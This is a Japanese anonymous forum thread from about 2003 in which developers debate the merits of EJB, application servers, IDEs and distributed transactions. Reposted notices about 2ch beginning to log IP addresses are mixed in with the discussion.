SunONEは無料らしいけど使ったことないし・・・
J2EE RIではなんかしょぼいし・・・
0440デフォルトの名無しさん
NGNG0441デフォルトの名無しさん
NGNG0442デフォルトの名無しさん
NGNG0443デフォルトの名無しさん
NGNG0444デフォルトの名無しさん
NGNGつうか、いつもはちょっと書き込んですぐ引っ込むたかゆきがずっと同じスレに書き込んでるだけでも、この実験が大きな意味があるんだろうとか感じられる。と楷先生が言ってました
0445デフォルトの名無しさん
NGNG挙動不振じゃないかい?
0446デフォルトの名無しさん
NGNGぜ、全然気にしてません(。´Д`)
0447IP記録実験
NGNGhttp://qb.2ch.net/test/read.cgi/accuse/1042013605/
1 名前:ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★ 投稿日:03/01/08 17:13 ID:???
そんなわけで、qbサーバでIPの記録実験をはじめましたー。
27 名前:心得をよく読みましょう 投稿日:03/01/08 17:20 ID:yL/kYdMc
SETTING.TXT管轄でないということは全鯖導入を視野に、か?
38 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:22 ID:rLfxQ17l
>>27
鋭いです。
73 名前:ひろゆき ◆3SHRUNYAXA 投稿日:03/01/08 17:27 ID:rLfxQ17l
>ところで、IPが抜かれて何か今までと変わることってあるのでしょうか?
・今までより、サーバが重くなる。
・裁判所や警察からの照会があった場合にはIPを提出することがある。
0448デフォルトの名無しさん
NGNG0449デフォルトの名無しさん
NGNG0450デフォルトの名無しさん
NGNG会社とか店とかはありそうだね・・
0451デフォルトの名無しさん
NGNG2ちゃんねるのお勧めな話題と
ネットでの面白い出来事を配送したいと思ってます。。。
===============================読者数: 138720人 発行日:2003/1/9
年末年始ボケがそろそろ収まり始めた今日このごろのひろゆきです。
そんなわけで、年末に予告したIP記録ですが実験を開始しています。
「2ちゃんねる20030107」
こんな感じで各掲示板の最下部に日付が入ってるんですが、
20030107以降になってるところはログ記録実験中ですー。
んじゃ!
────────────────────────Age2ch─
■この書き込みは、Age2chを使って配信されています。
────────────────────────────
Keep your thread alive !
http://pc3.2ch.net/test/read.cgi/software/1041952901/l50
────────────────────────────
0452デフォルトの名無しさん
NGNGぅ
ゎ
ぁ
0453デフォルトの名無しさん
NGNGなんか普通にalt+F4で消せるから大丈夫。
0454デフォルトの名無しさん
NGNG簡単にココで情報を交換してからに致したく存じます。
あと、以前僕のワード文書をクラックして消したなら
出来たらくれると嬉しいです。
非常に大事な段階で消えたので。
・・もし心当たりが無いなら仕方ないです。
0455デフォルトの名無しさん
NGNG0456デフォルトの名無しさん
NGNGhttp://qb.2ch.net/test/read.cgi/accuse/1042013605/
1 名前:ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★ 投稿日:03/01/08 17:13 ID:???
そんなわけで、qbサーバでIPの記録実験をはじめましたー。
0457デフォルトの名無しさん
NGNGつまり、内容証明郵便によるもの以外の削除依頼は対応しなくても法律上問題ないって事だね。
0458デフォルトの名無しさん
NGNG【危機】レスの真実性・相当性の立証責任がひろゆきにある【判決】
http://news.2ch.net/newsplus/kako/1026/10261/1026145775.html
0459デフォルトの名無しさん
NGNG0460デフォルトの名無しさん
NGNG世の中サヨとネットと圧力で出来てると思っているお前のような奴のほうが
世の中にとっては役に立たない
0461デフォルトの名無しさん
NGNG粘着くんは別にめずらしくないし、誰にでも1粘着付いておりますので(笑
気にすることないですよ。>ゲリーさん
遅ればせながらご結婚おめでとうございます。>腐れ33男★さん
でわ。
0462デフォルトの名無しさん
NGNGJane使えば一目瞭然
0463デフォルトの名無しさん
NGNGはい よろしくお願いします
0464デフォルトの名無しさん
NGNGま、ひろゆきは何も悪いことはしないわけだが
0465デフォルトの名無しさん
NGNG0466デフォルトの名無しさん
NGNG■■ Servlet/JSP(EJB含む) 質問スレ ■■
http://pc.2ch.net/test/read.cgi/php/1023501812/
0467デフォルトの名無しさん
NGNGこの展開は、夜勤さんがお好きそうな展開ですわ(笑)
0468デフォルトの名無しさん
NGNG0469デフォルトの名無しさん
NGNG0470デフォルトの名無しさん
NGNG2ちゃんねるのお勧めな話題と
ネットでの面白い出来事を配送したいと思ってます。。。
===============================読者数: 139038人 発行日:2003/1/10
なにやら、連日メルマガだしてるひろゆきです。
そんなわけで、ログ記録実験ですが、いちいちサーバ指定するのが面倒なので、
全部のサーバに入れてみました。
重くなって落ちたりしてもご愛嬌ってことで。。。
んじゃ!
────────────────────────Age2ch─
■この書き込みは、Age2chを使って配信されています。
────────────────────────────
Keep your thread alive !
http://pc3.2ch.net/test/read.cgi/software/1041952901/l50
────────────────────────────
0471デフォルトの名無しさん
NGNGでも、美咲タンが出てこなくなったらイヤだな。
0472デフォルトの名無しさん
NGNG0473デフォルトの名無しさん
NGNG0474デフォルトの名無しさん
NGNGそうすれば 無 責 任 な発言は減りますよ。
0475デフォルトの名無しさん
NGNG0476デフォルトの名無しさん
NGNG0477デフォルトの名無しさん
NGNG0478デフォルトの名無しさん
NGNGそんな時代はありませんでしたが、何か?
0479デフォルトの名無しさん
NGNG糞荒らしなんとか言ってみろや(藁
0480デフォルトの名無しさん
NGNGあるネット関連会社の社長は、
「いずれにしても2ちゃんねるは資金が底をつけば終わり。
あまり知られていないことだが、2ちゃんねる内部関係者によると今、
大手通信会社系が調査費名目で資金提供している。
だが、それが止まれば続けてはいけないだろう」
と証言する。
2ちゃんねるが判決によって力を失った場合、
資金提供の打ち切りも予想される。
http://ascii24.com/news/reading/causebooks/2002/07/01/636911-000.html
0481デフォルトの名無しさん
NGNG0482デフォルトの名無しさん
NGNG0483山崎渉
NGNG0484デフォルトの名無しさん
NGNG0485デフォルトの名無しさん
NGNG0486山崎渉
NGNG0487デフォルトの名無しさん
NGNGそんなにリソース(DB)を複数使うとことて
あるのですか?
それと最近んのIDEはどうですか
EJBが簡単に作れますか
0488デフォルトの名無しさん
NGNGRDB+MQという組み合わせで2つ使うことは意外にあるのでは?うちはそう。
IDEでEJBウィザードは多くなってきたが、WASだのSunONEだのAPサーバへの
依存度が高いのが難点かな?
ただEntity Beanならともかく、Session BeanをわざわざIDEで作る必要が
あるかどうか俺にはわからない。
0489デフォルトの名無しさん
NGNG確かにめんどうだよな。IDEはJbuilder
ならマルチブラットホームでは。それ以外は ・・・確かに。
ちなみにJdeveloper9なかなかいける。
クラス図からソース生成ができる(標準で組み込まれている)
なぜか評判になっていない。
0490デフォルトの名無しさん
NGNGブラットホームってなんだよw
クラス図からソース吐き出せるだけなの?
TogetherControlCenterならラウンドトリップできるよ。
クラス図書いたらソースができてて、ソース直したらクラス図も変更されてる
とりあえず、Windowsと主要なUNIXではうごくぽい
0491デフォルトの名無しさん
NGNG>>ブラットホームってなんだよw
アプリケーションサーバが複数に対応していること。
web shere stdioからだとweb logic のejbつくれないだろ。
TogetherControlCenterて値段は高いんじゃないの?
9iは標準でついている。持ちろんラウンドトリップもできる(はず)
iiossは無料だけど使い勝手は????
0492デフォルトの名無しさん
NGNGネタかマジかはもうどうでもいいや。
ところでソース生成機能すらついてないモデリングツールって未だにあんの?
0493デフォルトの名無しさん
NGNG>>あんの
モデリングツールじゃなくて開発ツールのこと。
いまのところJbuilderはソースからUMLを生成
するだけ。webshere,sun oneなどは標準ではない
eclipseはプラグインつかうだけ。
要するにJBも別に金だして買えと。
それにつかいがってよくない。
それならvision good
0494デフォルトの名無しさん
NGNG0495デフォルトの名無しさん
NGNG0496デフォルトの名無しさん
NGNGみなさん本当にこれだけみんなマスタできています?
覚えるの多すぎ
0497デフォルトの名無しさん
NGNG0498デフォルトの名無しさん
NGNGその前に日本語勉強しましょう(w
0499デフォルトの名無しさん
NGNG0500デフォルトの名無しさん
NGNG0501デフォルトの名無しさん
NGNGEJBついかわなくてもいいんじゃないていうシステム多いんじゃない?
そんな気が・・・
0502デフォルトの名無しさん
NGNG1.APサーバー/ハード売りとの抱き合わせ商法。あるいは工数嵩上げの口実。
2.最先端の技術を(例え無意味でも)「使っている」ことで売りにする営業の詐欺トークの結果。
3.ソケットプログラミングできません。RMIもCORBAも分かりません。
4.いちどEJBで作ってしまえば、その後の保守作業まで囲い込めます。
ダークですが単純な理由ですよ。
0503502
NGNG5.プロジェクトを利用して自社技術者にEJBテクノロジを覚えさせた。
お客さんは実験に金を払わされたわけね。
ろくでもない会社ばっかりだ。
0504デフォルトの名無しさん
NGNGEJB使ったからって簡単には工数増えんだろ。
客は「新技術」 = 「工数削減」って思ってるんだから。
EJB使ったら逆に増えるんだよなぁ(T_T)
2,5だろうな。最大の理由は。
0505デフォルトの名無しさん
NGNGもともとCOM+出身だったから、「ビジネスロジックはステートレスで!」とか
「ビジネスロジックのオブジェクトは必要最低限のインスタンスだけコンテナにプーリングさせて
複数セッションから使いまわす!」というのが自分にとっての常識だったワケね。
そうすると必然的にビジネスロジックコンポーネントはTPモニタ的なコンテナの上で動く必要があるじゃん?
(OLTPやったことある人なら分かると思うけど)
だからその頃のノリで、今はEJBでStateless Session Beanをガシガシに使ってるよ。
ローカルなJavaBeansで同じことを実現しようとするとこうはいかないでしょ?
Servletコンテナの上にわざわざSingleton積んで、自前でプーリングやらライフサイクル管理やら行う
コンテナもどき作らなきゃならない。
そんなだったら最初からあるEJBコンテナ使ったほうが信頼性あるし生産性あがるしラクっていうのが
漏れがEJB使ってる動機なんだけど、そういうこと考えている人って少ないのかな?
0506デフォルトの名無しさん
NGNGウィザードというか雛型を一回作ってしまえば、JavaBeansで作るのとSession Beanで作るのに工数的な違いはない。
無料のEJBコンテナも出回ってきてるしな。
とっつきは難しいが、一回慣れてしまえばやっぱ楽だよEJB。
EJB=WASやWLS=高価で大規模なシステムONLYという図式はそろそろ古くなってきてる予感。
0507デフォルトの名無しさん
NGNGたしかに。でもまだまだだよ。javaマスタするのに時間かかりすぎ。
あるプロジェクトjavaでも開発失敗してPHPでしているし(ダイエーOEM)
もっと使いやすいツールがでなきゃ。
0508デフォルトの名無しさん
NGNGセットアップは簡単。設定は必要最小限。他のソフトと連動させる必要なし。デプロイツールは附属。デプロイも簡単。
TomcatでServlet+JSPの勉強するくらいなら、RIでServlet+EJB+JSPの勉強したほうがいいと思う。
0509デフォルトの名無しさん
NGNGあるStatefull SessionBean内に、既に存在する別のローカルインターフェースの
Statefull SessionBeanの参照を保持したいときどうしたらよいのでしょうか?
ローカルインターフェースなのでHandleつかえないし、ローカルインターフェース
そのままインスタンス変数に持つのはEJBLocalObjectの実体はシリアライザブルじゃ
なさそうでActivate/Passivate問題ありそうだし..
0510デフォルトの名無しさん
NGNGEJBパターン読んどけ
http://www.amazon.co.jp/exec/obidos/ASIN/4822281523/
0511デフォルトの名無しさん
NGNG@IT掲示板でも今JaveBeansをどうやってSingletonで管理するか?みたいな議論やってるけど。
Singleton使うとデザインパターン使いこなしている気分に浸れるからウケがいいのかな?俺はあまり好きではないが。
インスタンス数管理とかActive/Passive機能とかを自作Singletonで実装するなんて考えるとぞっとする。
0512デフォルトの名無しさん
NGNGそれってPDF無料で手に入るやつの日本語版?
0513デフォルトの名無しさん
NGNG他人の作ったマルチスレッド前提のフレームワークと自作ナニカカンリ用
Singletonクラスって非常に相性悪いよね。よく考えないとすぐ同
期のワナに引っかかる。
スレッドごとにどのようにタスクがスケジューリングされるのか
把握しきれないような仕組みのうえで、安易にSingleton使う奴
は、最近よくいる「生兵法GoFかぶれのオナニーバカ技術者」と
いう認識でおりますが、まちがってますでしょうか?
0514デフォルトの名無しさん
NGNGメタファイルってなんのことでそか?
0515デフォルトの名無しさん
NGNGネタファイル(ネタ帳)は芸人の魂。
オクレ兄さんのネタファイルにもびっしり書込みしてあったなあ。
0516デフォルトの名無しさん
NGNGJ2EE狭義ではEARやWARやJARのMETA-INFに格納されているアーカイブ自身の情報を記述したファイルのこと。
0517デフォルトの名無しさん
NGNGEARを作成するツールが附属していない。SunONE Studio必須なのか?
この手のツールくらい必須で用意しておけよ。
RIで作ったEARをデプロイしようとすると原因不明のエラーで落ちるし・・・。
これならRI使いつづけたほうがマシだな。
0518デフォルトの名無しさん
NGNG0519デフォルトの名無しさん
NGNG>>把握しきれないような仕組みのうえで、安易にSingleton使う奴
>>は、最近よくいる「生兵法GoFかぶれのオナニーバカ技術者」と
>>いう認識でおりますが、まちがってますでしょうか?
どうやって回避するの?
シンクロナイズをつかって同期とるの
0520デフォルトの名無しさん
NGNGあなたが作ってコミットしてください
0521デフォルトの名無しさん
NGNGそういう戦略的な判断とかソフト提供の方向性は、最上位に存在する人たちでなければ決められないんじゃなかったっけ?
ちなみにコミッタは日本人は1人もいないっていうのは本当?
0522デフォルトの名無しさん
NGNGまずは物を作ってある程度評価されるようになってから寄贈するのが近道かと。
Tomcatからして元はSunからの寄贈だし、log4j・ Strutsなんかも他から移ってきたものだな。
xml.apache.orgも寄贈されたものが多いな。crimsonやxercesなど。
0524デフォルトの名無しさん
NGNG513の言っている意味がほとんどわからん。
少なくともあんたがスケジューラとマルチスレッドを理解していないのがわかるが。
「オナニーバカ技術者」 = 513
0525デフォルトの名無しさん
NGNG>ローカルインターフェースなのでHandleつかえないし、ローカルインターフェース
>そのままインスタンス変数に持つのはEJBLocalObjectの実体はシリアライザブルじゃ
>なさそうでActivate/Passivate問題ありそうだし..
javax.ejb.EJBLocalObjectだけをみればそうかもしれないが、実際にこのinterfaceを
implementsしているクラス(スタブ)は Serializable になっているのではないですか?
試しに、以下のように判定してみては?
MyLocalSessionBean xxxxx = ....;
if( xxxxx instanceof java.io.Serializable )
{
System.out.prinltn("シリアライズ可能!!");
}
0526デフォルトの名無しさん
NGNG1.Apache+Tomcat+JBoss+openJMS
2.SunOneServer7 PlatfromEdition
3.J2EE SDK付属のRI(ワラ
1でいろいろ苦労するより2のほうが楽そうですね。
2は、実は3でできてるらしいけど…
あと2はWinNT版とSolaris版しかないみたい。
もっといい選択枝ってあります?JMS実装を必要と
することって、今までありましたか?
0527デフォルトの名無しさん
NGNGJ2EE RI(>>508には同意)
WebSphere AEsの評価版(期限は半年、超過しても再インスコすればまた半年使える)
実運用したいなら、
Apache+Tomcat+JBoss(面倒くさいよなぁ・・・)
Sun ONE Application Server
といったところか?
Sun ONEは情報が少なすぎるよ。
0528山崎渉
NGNG0529名無しさん
NGNGプロジェクトに参加してる人全員気にしなくても大丈夫なの??
0530デフォルトの名無しさん
NGNGEJBのメソッド内は基本的には1つのフラットトランザクションとして実行
され、その中でコミットなどは書かなくてもいい(というより書けない)の
で、複雑な仕組みを自分で考える必要がないだけ。
トランザクションがどういうものか知らない人が簡単に作れるかというと
そうでもない。
0531デフォルトの名無しさん
NGNGSessionBeanだったら、Bean Managed Transaction(BMT)というタイプが
可能なので、JTA/JTSを使ってSessionBean内部でcommit()とかできるでしょ?
0532デフォルトの名無しさん
NGNG複数のDBの一括トランザクションのこと
0533デフォルトの名無しさん
NGNGそういうことです。
0534デフォルトの名無しさん
NGNGどうゆう風に?
まだ例見たことないんだけど
エンティイでもできるのかな?
0535デフォルトの名無しさん
NGNGあって、かつオープンソースのRDBMSって、何かありますか?
0536デフォルトの名無しさん
NGNGMONO
NEDARI
0537デフォルトの名無しさん
NGNG"J2EE(EJBだったかな?) suck"
とかいうニュースが出てなかった?
Enterprice Object Broker とかもあるし
もしかしてJ2EEに反対してるのか?
0538デフォルトの名無しさん
NGNGその件はSunがASFにOKを出して解決したと思ったが。
0539デフォルトの名無しさん
NGNGJTAに対応したデータソースであればなんでもまとめてロールバックできますよ。
ただしネストしたトランザクションはサポートしませんが。
>>エンティイでもできるのかな?
できます。
0540デフォルトの名無しさん
NGNGありません。
0541デフォルトの名無しさん
NGNGオープンソースDB、Firebirdってどうよ?
http://pc3.2ch.net/test/read.cgi/tech/1035278719/l50
漏れは使ったことが無いが、商用InterBaseが元になってるので
ツーフェーズコミットも出来るだろ? jdbcドライバもあるし。
0542デフォルトの名無しさん
NGNGで、そのJDBCドライバは2PCをサポートしているの?
0543デフォルトの名無しさん
NGNGあと例も
0544541
NGNG自分で調べてくれよぉ・・・・
http://firebird.sourceforge.net/index.php?op=files&id=jcajdbc
漏れは英語は得意では無いんだな。
0545デフォルトの名無しさん
NGNGできるんですよね
0546デフォルトの名無しさん
NGNGSessionBeanの中からJDBCのCallableStatementインターフェースを使って
呼び出してください
0547デフォルトの名無しさん
NGNGなんかインストーラからして重要なjarをコピー漏らすし、WebLogic
で確認済のEJBをVerifierかけるとremote/homeインタフェースが無効
だとか、remoteにトランザクションが記述されてないとか言われます。
ejb-jar.xmlに原因があるのかなぁ....
たいがい泣き入れた後に冷静に見ると、「オレが悪かった!」という
オチなんだろう。
0548デフォルトの名無しさん
NGNGむしろWLSが親切すぎ。
0549デフォルトの名無しさん
NGNGちょっとぐらい警告出ても気にしない。
多少いいかげんでも配備出来るさ。
0550デフォルトの名無しさん
NGNGしてまそん。
0551デフォルトの名無しさん
NGNGEJBでやる場合は、メソッド内で次々にデータソース(JTA、XA対応のもの)を利用するだけでいける。
JTAでやる場合はアプリケーションサーバからUserTransactionをlookupして、begin()、commit()、rollback()
で制御する。
0552デフォルトの名無しさん
NGNG>>551は使い方。設定方法はコンテナ/DBによって違うよ。
0553デフォルトの名無しさん
NGNGサンクス
0555デフォルトの名無しさん
NGNG0556デフォルトの名無しさん
NGNGのFacadeパターンってSessionBean起こすのめんどくさいんで、
ホームメソッドでよさげ...おおきな間違いでしょうか?
0557デフォルトの名無しさん
NGNGそしてさらに、リモートのクライアントから呼び出されたそのHomeメソッド内で、
Localタイプの同じEntityBeanにアクセスするともっと良いかも。
0558デフォルトの名無しさん
NGNGでもEntityBeanはなあ...
それでも結構面倒くさい
0559デフォルトの名無しさん
NGNGなんでHELLOWWORLD出すだけで
そんな複雑な設定しなければならないの
0560デフォルトの名無しさん
NGNG分散システムってのはそういうもんだよ。
イヤならスタンドアロンアプリ作ってなさいよ。
0561デフォルトの名無しさん
NGNG0562デフォルトの名無しさん
NGNGどなたかresin使ってる方いますか?
0563デフォルトの名無しさん
NGNG0565デフォルトの名無しさん
NGNGCMR使ったリレーションとかめんどくさそうなんですが・・・
0566デフォルトの名無しさん
NGNGhttp://www.borland.co.jp/jbuilder/jb6/tour/welcome_ejb.html
0567デフォルトの名無しさん
NGNGCMPなんか使ってしまうと、あとで後悔するだけ
0568デフォルトの名無しさん
NGNG例えばどんな?
0569デフォルトの名無しさん
NGNGおらくるのとらんざくしょん管理とか
0570デフォルトの名無しさん
NGNGほんと、まコーダーレベルにあんまし意識させなくていいというの有難
いですが。
今やってるやつはパフォーマンスあんまし考えなくいい小規模社内システム
なんで結局、クリティカルな部分はStatefull SessionBeanで書いてサーブレット
コンテナに保持したインターフェースからアクセスする方法でブロックする
というヘタレな方法で逃げちゃいました。Singleton Statefull SessionBean(爆
ブロックコール出来るオプションのあるコンテナ依存っす。
0571デフォルトの名無しさん
NGNGEJB使うメリットあるんか
小1時間問い詰めたい
0572デフォルトの名無しさん
NGNG漏れはアプ鯖に何を使ってるのか知りたい。
アプ鯖高けぇぞ。
0573デフォルトの名無しさん
NGNGresin
0574デフォルトの名無しさん
NGNGEJBは大規模システムに使うというのがそもそも勘違い。
変更に強いシステムということでは、使う意味はある。
きちんと作ればね。
0575デフォルトの名無しさん
NGNGhttp://yamaguch.sytes.net/~tora/java/resin.html
> resin 2.0 に EJB クライアントのサポートを加えたものです。EJB コンテナの機能はありませんが
tomcat 見たいなもんか?
0576デフォルトの名無しさん
NGNGresin-eeの方使えばEJBサポートしてる。
http://www.caucho.com/download/index.xtp
0577デフォルトの名無しさん
NGNG小一時間・・・・・(略)
0578デフォルトの名無しさん
NGNGEJBを一から勉強しなおしてこい。
小一時間問い詰める気にもならん。
0579デフォルトの名無しさん
NGNGただのもあります。
SunONEAPServer7とか。JBossとか。
タダで使えるから、社内システムをコレで作ってEJBのお勉強するのは
ありだと思われ。
0580デフォルトの名無しさん
NGNGようなシステムじゃなければ、分散するイミナイですよね。
それにもかかわらず、なにかものすごいすばらしいことで、なんでもこれ
でやるとすばらしい結果になると言いふらす馬鹿があっちこっちにいる
のは何でですかね?
…ああ、あいつ等営業だった。
0581デフォルトの名無しさん
NGNG間違った知識を広めるなよ。
EJBを使うメリットが分散だけか?
しかも、EJB2.0から追加されたローカルインターフェースは
分散にもならない。
0582デフォルトの名無しさん
NGNGEJBのことを語っているわけではなく、"分散システム"のことですお。
0583580=582
NGNGに丸投げできて、実装と管理で楽ができるということだと思ってるお。
ちゃうか?
0584581
NGNGここは、EJBスレだと思ったのだが。
そこで、EJBのことを語っているわけではないとはいかに。
0585デフォルトの名無しさん
NGNG0587570
NGNGよいという意味でね、それなりにもらっててメジャーなAPサーバー
とOracle使える受託の業務システムね。
超レガシーなソケット通信その他があったりで、そのあたりとEJB
との同期とかトランザクションとのかかわりがキモだったわけ。
世の中petStoreみたく美しくないんですよね(爆、
でもEJBのほうが楽だと思うぞ〜つーか、CMPなんかは小規模だから
こそ積極的使うべきだ思いますが。
0588デフォルトの名無しさん
NGNG>>こそ積極的使うべきだ思いますが。
うーんそうかな?
http://www.c-sq.com/corp/info.html
でこいつらどう思う?
>>Bは大規模システムに使うというのがそもそも勘違い。
>>に強いシステムということでは、使う意味はある。
オブジェクト指向で成功している会社てほとんど聞かないのですが
なんか理想を語っているみたいなお人ですが?
0589デフォルトの名無しさん
NGNGこれが分散システムだそうです(w
http://whoisx-pilot.hitachi-sk.co.jp/WhoisXWeb/
0590デフォルトの名無しさん
NGNG過去レスでWebObjectsをEJB/JSP/Servletコンテナ(J2EEコンテナ)としても使える、
というカキコがありましたが、TomcatやWebLogicで使っていたWAR形式の
アプリケーションを、ProjectBuilderなどWOの開発環境を全く(できるだけ)使わないで、
そのままWO上にdeployする手順について、詳しい手順が載っているサイトは
ないでしょうか?
0591デフォルトの名無しさん
NGNG確か、Webサービスとしてのインタフェースを持ってたよな…
と思ったらこんなプレスリリースがあった。
http://www.hitachi-sk.co.jp/News/News153.html
0592デフォルトの名無しさん
NGNGなぜにこんなシステムに分散システムを(w
0593デフォルトの名無しさん
NGNG>>でこいつらどう思う?
ほとんどは.Netとのクラスタリングでフェールオーバー対応と
いったところか
0594デフォルトの名無しさん
NGNGだめだめといわれるIDE。
Jbuilder6はかるいだけど
メモリ128Mでうごくし
Eclipseは256Mは必要だけどかるい。
Jdeveloperも機能が豊富。
使いやすくて安定しているのはどれ
意見を求む
0595デフォルトの名無しさん
NGNGスレ違い
EJBのスレということをふまえてレスすると、JBuilderはEJBに一番対応しやすいのじゃないかと思う。
高いけど。
Sun ONE Studioもお金出せばEJBの開発ができると思う。
Eclipseは、まだ楽々EJBが使えるわけではないような気がしないでもない。
まぁ、EJBやるのに、IDEがないと作業が多くてやってられない罠。
0596デフォルトの名無しさん
NGNG0597デフォルトの名無しさん
NGNG0598デフォルトの名無しさん
NGNG別に、開発作業自体が安定して反復作業がおおくなれば、言うほど不安定じゃないよ。
「安定」の基準をどこに置くかという問題はあるが。
少なくとも、1日1回ダウンしてソースがあぼーん、ということはない。
使いやすさも、導入のしやすさか、導入した後の効率か、というのがあるよね。
結局使い込めば何でも使いやすいといえるわけだし。emacsなんかがいい例。
0599デフォルトの名無しさん
NGNGない?
おれ6は持ってるんだけど
0600デフォルトの名無しさん
NGNGイッテヨシ
0601デフォルトの名無しさん
NGNG0602デフォルトの名無しさん
NGNG理想が?
0603デフォルトの名無しさん
NGNG0604デフォルトの名無しさん
NGNGxdoclet使ってみ。
0605595
NGNGどの文に対するレスでつか?
0606デフォルトの名無しさん
NGNG0607デフォルトの名無しさん
NGNG「はじめてのJSP&サーブレット」とかから始めれば?
0608デフォルトの名無しさん
NGNGそんなに楽なのか?
具体例のコードをみせてみて
0609デフォルトの名無しさん
NGNGいや、JSP/Servletはとっくにやってるんですけど。
EJBを使ってみたいのです。
0610デフォルトの名無しさん
NGNGオラ煎りのEJB本はいいよ。CMP2.0の解説とかも詳しいし。
0611デフォルトの名無しさん
NGNGじゃあEJBの本探した方がよくねぇ?
J2EEって何かわかってる?
0612デフォルトの名無しさん
NGNGEJBといった方がよかったですか。
JSP/Servlet/JDBCはJ2SE + Tomcatだけでやってたんですよ。
0614デフォルトの名無しさん
NGNGEJBコンテナないじゃん。
SunのJ2EE SDKにはEJBコンテナの参照実装があるから、それつかえ。
JBossでもいいが。
0615デフォルトの名無しさん
NGNGEJBコンテナ固有のデプロイメントツールでいちいち登録するもの
なんですか?これってWeb認証のレルム(JDBCRealmとか)とは全く
別物ですよね?
Web層はレルムの情報で認証して、OKならそのユーザ名でEJBのセキュリティを
チェックして、メソッドの実行可否を決める、みたいなことってできないんですか?
それともWeb層の認証とEJB層の認証はどちらか片方だけやるのが一般的?
0616山崎渉
NGNG0617デフォルトの名無しさん
NGNG0618デフォルトの名無しさん
NGNG0619デフォルトの名無しさん
NGNG資金源の企業様との暗黙の了解なのか。
0620デフォルトの名無しさん
NGNG単に、EJB及び周辺サービスを、フルスクラッチで書いて実用レベルまで持ってくだけの、
資源もニーズもないからじゃないかなー。
どっかの企業がソースコード一式寄付したら話は別だけど、
トランザクション・サービスのオープンソース化ってあんまり聞かないし
0621デフォルトの名無しさん
NGNGMQもただで配ってんだもんなあ。
0622デフォルトの名無しさん
NGNG超遅レス。
> EJBのセキュリティチェックで使われるユーザとかロールの情報って
> EJBコンテナ固有のデプロイメントツールでいちいち登録するもの
> なんですか?これってWeb認証のレルム(JDBCRealmとか)とは全く
> 別物ですよね?
Web認証もJ2EE認証なのでWeb層で認証が成功すればEJBでも同じロール名でセキュリティが適用されます。
0623615
NGNGおーthanx!です。試してみます。
0624デフォルトの名無しさん
NGNG>>資金源の企業様との暗黙の了解なのか。
Jbossを寄付すればいい
0625デフォルトの名無しさん
NGNGVOBS EnhydraってのがNECか何処かから出てたね。
でもマイナー過ぎて誰も知らないね。
0626デフォルトの名無しさん
NGNGhttp://www.necsoft.com/soft/outline/pp02006.html
ちょっとまえにうちでもこれ使おうかという話になったんだけど、NESが
どのくらいサポートしてくれるんだろうか?て話しになって立ち消え。
どうなんだろう?結局NESのサポート次第なんだろうが。
0627れみ
NGNGデプロイについていろいろ調べたのですが。結局なんなのかわからないです。
デプロイって詳しく言うとなにをやっているのですか?
0628ふぁそ
NGNGアプリサーバ上の所定の位置へクラスファイル、設定ファイルその他アプリの動作に必要なファイルを配置すること。
設定ファイルに設定を記述する、という作業も含めてデプロイと呼ばれることもある。
0629れみ
NGNG設定ファイルというのは、Tomcatでいうとweb.xmlのことなのでしょうか?
0630ふぁそ
NGNGだいたいそんなとこ。
Webアプリケーションではweb.xmlだったり
EJBではejb-jar.xmlだったり
J2EEアプリケーションではapplocation.xmlだったり。
0631れみ
NGNG0632デフォルトの名無しさん
NGNGそれはご苦労さん。サーバサイドは覚えることがたくさん
いやになるね。ベンダーごとにツール・APPサーバは違うし
複雑なEJBまあがんばってさい
0633デフォルトの名無しさん
NGNG流行に乗ってアプリケーションサーバー買ってみたけどJSPだけしか使わないという罠。
0634デフォルトの名無しさん
NGNG0635デフォルトの名無しさん
NGNG0637615
NGNG>>623
> >>622
> おーthanx!です。試してみます。
最新のJBoss(Tomcatインテグレート版)で、EARを作って試したら
うまく行きました(Webで認証されたロールがEJBに適用された)。
はじめてJBoss使ってみましたが、結構いいかも。
0638bloom
NGNG0639デフォルトの名無しさん
NGNGTomcat、Apache、PostgreSQLをLinuxにインストールし
JDBCを使ってPostgresにinsertやselectしたことがある。
strutsやcocoon,横浜ベイキットも試したことがある。
普段はantで開発し最近Eclipseを使い始めた。
そんな漏れにお勧めのEJB本はありますか?
0640デフォルトの名無しさん
NGNGオライリー
EnterpriseJavaBeans
0641デフォルトの名無しさん
NGNGJava暦半年といっても過言ではないなあ。
EJBコンテナのマニュアルでも読むといいよ。
WebLogicかJRunあたりならWebで読める。
0642デフォルトの名無しさん
NGNG0643デフォルトの名無しさん
NGNGベンダの独自実装が入り込んでない素の仕様を学びたいのですが。
0645デフォルトの名無しさん
NGNGなんじゃそれ。リンク晒せ
0646ふぁそ
NGNGほんとにおまんしらんのか
http://java.sun.com/j2ee/download.html
0647デフォルトの名無しさん
NGNG>大規模開発以外で、EJB使うメリットってあるの?
それがまったくないのだよ。わはは、工数かかるだけ。
あっ工数稼ぎたいときは便利かな?
>トランザクション管理って何?
ぐぐれ
0648デフォルトの名無しさん
NGNGの知識が必要だが、適切な解説書などが見当たらない。みなピントがボケて
いる。
だれかEJBのメリットについて説得力のある説明できる人いるか?
0649デフォルトの名無しさん
NGNGすまんが2フェーズコミットについて教えてはくれまいか。
0650デフォルトの名無しさん
NGNGhttp://www.dmz.hitachi-sk.co.jp/Java/Tech/api/ejb/true-ejb.html
0651デフォルトの名無しさん
NGNG似たような、でもよりマヌケで糞な俺様仕様のホスト間通信ライブラリ
の類を作って悦にいっている「会社の金でオナニー」連中を纏めて駆逐
出来る。
J2EE自体は仕様がオープン。またユーザは世界中にいるので、EJBが使え
る人間やEJBで作成したシステムを保守できる人間を集めるのは、俺様わ
けわかライブラリを使える人間やそれで作られたシステムを保守できる
人間を集めるより、はるかに容易で低コスト。
俺様わけわかライブラリは、おそらく作者のイル会社しか保守できない。
そうなると、保守/変更作業は、その会社の殿様商売。オソロシヤ。
バージョンアップのたびに追加料金取ったりといった、どこぞのOSベンダ
のような阿漕なマネもし放題。
作る時だけのことを考えるなら、EJBは面倒くさいだけに感じるかもな。
0652デフォルトの名無しさん
NGNGたとえば、東京に商品データベースがあり、大阪に在庫データーベース
がある、このように資源を分散させて配置したデータベースに対し
双方更新をかけ、コミットすることを2フェーズコミットと言うようです。
以前はこの処理をミドルウェアを使い実現していたが、EJBはこのトランザクション
の整合性をプログラムで意識せずに実装できる・・・
EJBのメリットとしてこのような事をよく効くが、本当かな?
まずデータベースの分散配置(負荷分散ではない)のメリットがよく
わからない。
0653デフォルトの名無しさん
